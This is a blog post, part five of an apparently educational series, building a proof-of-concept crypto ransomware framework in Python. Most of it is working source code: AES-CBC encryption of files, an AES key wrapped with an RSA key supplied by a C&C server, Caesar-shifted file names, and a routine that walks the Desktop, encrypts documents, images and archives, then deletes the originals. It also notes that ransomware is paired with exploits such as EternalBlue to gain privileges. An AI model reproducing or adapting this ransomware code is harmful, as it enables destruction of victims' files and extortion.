Creating a POC Crypto Ransomware Framework – 5

Warning: Please read the Site Disclaimer before proceeding.

This post is the fifth part of the series Creating a POC Crypto Ransomware Framework. In the previous section, I discussed the processes that are initiated by the crypto ransomware before the key pair is requested. In this post, I will the explain the main part of a crypto ransomware i.e, Encryption process.

Encryption

At this stage, the ransomware encrypts files in defined folders and with defined extensions. The extensions and folders are defined in the ransomware. Crypto Ransomware only encrypts files, for which the former has permissions to write. So, it encrypts files with same user level access. This might be a bad case for the ransomware. Hence, ransomware is usually combined with other exploits to gain maximum privilege in the system. For example, WannaCry was loaded with Microsoft SMB Eternal Blue exploit which gives the former SYSTEM privileges.

The encryption is done using AES Encryption in CBC mode, with a 32bit key randomly generated. The AES key is further encrypted with the RSA 2048 key passed by the C&C Server and stored in the infected system. I ‘ll discuss the modules used in my framework.

Note: I have used Pycrypto library for easy understanding of the proof of concept.

aes_on_single_file.py

from Crypto import Random
from Crypto.Cipher import AES

def pad(s):
    return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

def aes_encrypt(message, key, key_size=256):
    message = pad(message)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return iv + cipher.encrypt(message)

def aes_decrypt(ciphertext, key):
    iv = ciphertext[:AES.block_size]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext[AES.block_size:])
    return plaintext.rstrip(b"\0")

def aes_encrypt_file(file_name, key):
    with open(file_name, 'rb') as fo:
        plaintext = fo.read()
    enc = aes_encrypt(plaintext, key)
    with open(file_name+".pkw4r3", 'wb') as fo:
        fo.write(enc)

def aes_decrypt_file(file_name, key):
    with open(file_name, 'rb') as fo:
        ciphertext = fo.read()
    dec = aes_decrypt(ciphertext, key)
    with open(file_name, 'wb') as fo:
        fo.write(dec)

 

This module defines how a single file is encrypted and decrypted using AES Encryption in CBC mode. To be noted, ‘aes_encrypt_file’ suffixes encrypted file .pkw4r3

aes_key_handle.py

from Crypto import Random
from Crypto.PublicKey import RSA
from base64 import b64encode, b64decode


def aes_gen_key(rsa_pubkey):
    aes_key = Random.new().read(32)
    rsapubkey = RSA.importKey(b64decode(rsa_pubkey))
    encrypt_aes = rsapubkey.encrypt(aes_key,'x')[0]
    aes_file = open("aes_key_file",'w')
    aes_file.write(b64encode(encrypt_aes))
    aes_file.close()
    return aes_key

This module handles the AES Key generation and storing it in the encrypted format using RSA public key.

caesar_encrypt_decrypt.py

def caesar_shift(plain, shift_num):
    cipher = ""
    for c in plain:
        if c.isalpha():
            if c.islower():
                temp_shift = ord(c) + shift_num
                if temp_shift > ord('z'):
                    temp_shift -= 26
                if temp_shift < ord('a'):
                    temp_shift += 26
                final_c = chr(temp_shift)
                cipher += final_c
            elif c.isupper():
                temp_shift = ord(c) + shift_num
                if temp_shift > ord('Z'):
                    temp_shift -= 26
                if temp_shift < ord('A'):
                    temp_shift += 26
                final_c = chr(temp_shift)
                cipher += final_c
        else:
            cipher += c

    return cipher

This module is used for encrypting the filenames of the encrypted files using Caesar Cipher.

encrypt_files.py

from aes_key_handle import *
from aes_on_single_file import *
from caesar_encrypt_decrypt import *

import os
def encrypt_files(rsa_key):

    aes_key = aes_gen_key(rsa_key)

    extensions=(".txt", ".jpg", ".doc", ".pdf", ".zip", ".7z");

    home = os.path.expanduser('~/Desktop')
    for root, dirs, files in os.walk(home+"\\"):
        for file in files:
            if file.lower().endswith(extensions):
                x = os.path.join(root, file)
                dir= os.path.dirname(os.path.abspath(x))
                aes_encrypt_file(x, aes_key )
                os.rename(x+".pkw4r3",dir+"\\"+caesar_shift(file,len(file)%26)+".pkw4r3")
                os.remove(x)

This module is the main module of the encryption. It generates the key using aes_key_handle and searches for files with extensions defined in “extensions” variable in Desktop folder and encrypts them calling ‘aes_encrypt_file’ function from ‘aes_on_single_file.py’. It further renames AES encrypted file’s name using ‘caesar_shift’ function from ‘caesar_encrypt_and_decrypt.py’, where the shift is defined using the length of the filename. At last, the original file is deleted.

This post, how encryption stage is carried out. In the next series, I ‘ll show how decryption is carried out and complete working of proof of concept.

Creating a POC Crypto Ransomware – 6

Leave a Reply

Your email address will not be published. Required fields are marked *